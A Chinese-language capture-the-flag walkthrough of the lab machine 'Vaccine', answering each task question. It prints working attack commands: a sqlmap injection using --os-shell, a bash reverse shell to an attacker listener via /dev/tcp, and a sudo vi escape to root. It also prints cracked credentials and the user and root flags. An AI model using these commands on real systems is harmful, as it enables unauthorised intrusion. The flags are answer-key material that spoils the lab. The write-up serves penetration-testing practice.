文章目录
- 靶机:Vaccine
- Task1
- Task2
- Task3
- Task4
- Task5
- Task6
- 7-9解题过程
- Task7
- Submit user flag
- Submit root flag
靶机:Vaccine
Task1
问题:除了SSH和HTTP,这个盒子上还托管了什么服务?
ftp
nmap扫一下
Task2
问题:此服务可以配置为允许使用特定用户名的任何密码登录。那个用户名是什么?
anonymous
直接空密码登录
Task3
问题:通过此服务下载的文件的名称是什么?
backup.zip
Task4
问题:John the Ripper工具集附带了什么脚本,并以允许破解尝试的格式从受密码保护的zip档案中生成哈希?
zip2john
解压zip时发现有加密,运用工具破解加密的zip中生成哈希
zip2john backup.zip > hashs
再拿字典跑一下得到密码
Task5
问题:网站上管理员用户的密码是什么?
qwerty789
拿到密码解压zip后,在index.php找到MD5加密的
解密一下即可
参考前一关
Task6
问题:什么选项可以传递给sqlmap以尝试通过sql注入来执行命令?
--os-shell
7-9解题过程
我们使用--os-shell
进行反弹shell
bash -c "bash -i >& /dev/tcp/10.10.14.212/443 0>&1"
先开启nc监听,然后跑sqlmap输入命令
然后cat /var/www/html/dashboard.php
找到密码
当然密码可以用sqlmap爆破出来
sqlmap -u "http://10.129.237.178/dashboard.php?search=1" --cookie "PHPSESSID=ag8on0evhpqu5cgtsr3dbrfget" --users --password --level=3
然后去掉md5,解密一下得到
知道密码后我们直接ssh连接
然后我们想查看下权限
sudo -l
利用刚刚得到的密码登录,发现能用的有一个配置文件
那么我们去搜一下vi的提权命令
这里可以用(b)的,通过修改配置文件pg_hba.conf
写入shell
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
然后进入vim编辑器,输入a添加下面命令
:set shell=/bin/sh
然后esc,输入:wq
退出后再次进入配置的文件,直接输入:
,继续输入shell即可
我们可以发现用户变为root
先得到user.txt
即可访问root.txt
Task7
问题:postgres用户可以使用sudo作为root用户运行什么程序?
vi
Submit user flag
ec9b13ca4d6229cd5cc1e09980965bf7
Submit root flag
dd6e058e814260bc70e9bbdef2715849